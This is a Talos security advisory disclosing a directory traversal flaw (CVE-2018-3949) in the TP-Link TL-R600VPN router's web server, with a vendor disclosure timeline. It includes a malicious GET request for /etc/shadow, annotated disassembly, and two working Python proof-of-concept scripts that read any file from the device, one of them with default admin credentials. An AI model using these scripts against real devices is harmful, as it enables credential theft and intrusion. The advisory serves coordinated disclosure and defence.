Talos Vulnerability Report

TALOS-2018-0618

TP-Link TL-R600VPN HTTP server information disclosure vulnerability

November 19, 2018
CVE Number

CVE-2018-3949

Summary

An exploitable information disclosure vulnerability exists in the HTTP server functionality of the TP-Link TL-R600VPN. A specially crafted URL can cause a directory traversal, resulting in the disclosure of sensitive system files. An attacker can send either an unauthenticated or an authenticated web request to trigger this vulnerability.

Tested Versions

TP-Link TL-R600VPN HWv3 FRNv1.3.0 TP-Link TL-R600VPN HWv2 FRNv1.2.3

Product URLs

https://www.tp-link.com/us/products/details/cat-4909_TL-R600VPN.html

CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CWE

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Details

A directory traversal vulnerability exists in the TP-Link TL-R600VPN in both authenticated and unauthenticated forms.

If a standard directory traversal is used with a base page of 'help' the traversal does not require authentication and can read any file on the system. If any one of the following pages is used, authentication is required: - images - frames - dynaform - localiztion.

An example malicious GET request is as follows:

GET /help/../../../../../../../../../../../../../../../../etc/shadow HTTP/1.1
Host: 192.168.0.1
User-Agent: Python
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1/userRpm/AccessCtrlAccessRulesRpm.htm
Connection: close
Upgrade-Insecure-Requests: 1

[Annotated Disassembly / Decompilation output]

LOAD:00426340 loc_426340:                              # CODE XREF: httpRpmFsA+240↓j
LOAD:00426340                 la      $t9, read
LOAD:00426344                 move    $a0, $s3                     # moves the file descriptor into arg 0
LOAD:00426348                 jalr    $t9 ; read                   # triggers a read call
LOAD:0042634C                 move    $a1, $s2                     # moves the filename into arg 1 (/../../../../../etc/shadow)
LOAD:00426350                 move    $a0, $s5
LOAD:00426354                 lw      $gp, 0x110+var_100($sp)
LOAD:00426358                 move    $a2, $v0
LOAD:0042635C                 move    $a1, $s2
LOAD:00426360                 addu    $s6, $v0
LOAD:00426364                 la      $t9, httpBlockPut
LOAD:00426368                 jalr    $t9 ; httpBlockPut           # function responsible for writing read data to the socket when possible
LOAD:0042636C                 move    $s0, $v0                     # stores the response code from httpBlockPut - 0x0 for success and 0xFFFFFFFF for failure
LOAD:00426370                 li      $v1, 0xFFFFFFFF
LOAD:00426374                 lw      $gp, 0x110+var_100($sp)
LOAD:00426378                 beq     $v0, $v1, loc_42639C
LOAD:0042637C                 subu    $a2, $s1, $s6
LOAD:00426380                 lw      $v1, 0x110+var_28($sp)
LOAD:00426384                 sltu    $v0, $a2, $v1
LOAD:00426388                 movz    $a2, $v1, $v0
LOAD:0042638C                 beqz    $a2, loc_42639C              # branches to the file close block if the read has finished
LOAD:00426390                 nop
LOAD:00426394                 bnez    $s0, loc_426340              # loops if the read has not yet finished
LOAD:00426398                 nop                                  
LOAD:0042639C

Exploit Proof of Concept

The below proof of concepts can be used to view any readable file on the device by passing the absolute path as the second argument.

Proof of concept for the unauthenticated case:

import requests
import sys

def main():
    if len(sys.argv) != 3:
        print ""
        print "Usage: python dir_traversal.py [ip_addr] [absolute_path]"
        print "Example: python dir_traversal.py 192.168.0.1 /etc/shadow"
        print ""
    else:
        ip_addr = sys.argv[1]
        custom_dir = sys.argv[2]
        uri="http://%s/help/../../../../../../../../../../../../../../../..%s" % (ip_addr, custom_dir)
        try:
            referer = "http://%s/Index.htm" % (ip_addr)
            headers = {'Referer':referer}
            r = requests.get(uri, headers=headers)
            print "\n\nResponse Code: %s\n\n" % (r.status_code)
            print r.text
        except Exception as msg:
            print "ERROR: %s" % (msg)

if __name__ == "__main__":
    main()

Proof of concept for the authenticated case:

import requests
import sys
import base64

def main():
    if len(sys.argv) != 3:
        print ""
        print "Usage: python dir_traversal.py [ip_addr] [absolute_path]"
        print "Example: python dir_traversal.py 192.168.0.1 /etc/shadow"
        print ""
    else:
        ip_addr = sys.argv[1]
        custom_dir = sys.argv[2]
        uri="http://%s/images/../../../../../../../../../../../../../../../..%s" % (ip_addr, custom_dir)
        try:
            auth = "Basic %s" % (base64.b64encode("admin:admin"))
            referer = "http://%s/userRpm/MenuRpm.htm" % (ip_addr)
            headers = {'Authorization': auth, 'Referer':referer}
            r = requests.get(uri, headers=headers)
            print "\n\nResponse Code: %s\n\n" % (r.status_code)
            print r.text
        except Exception as msg:
            print "ERROR: %s" % (msg)

if __name__ == "__main__":
    main()

Timeline

2018-06-28 - Vendor Disclosure
2018-10-09 - Vendor provided beta
2018-10-11 - Patch tested and confirmed fix
2018-11-19 - Public Release

Credit

Discovered by Jared Rittle of Cisco Talos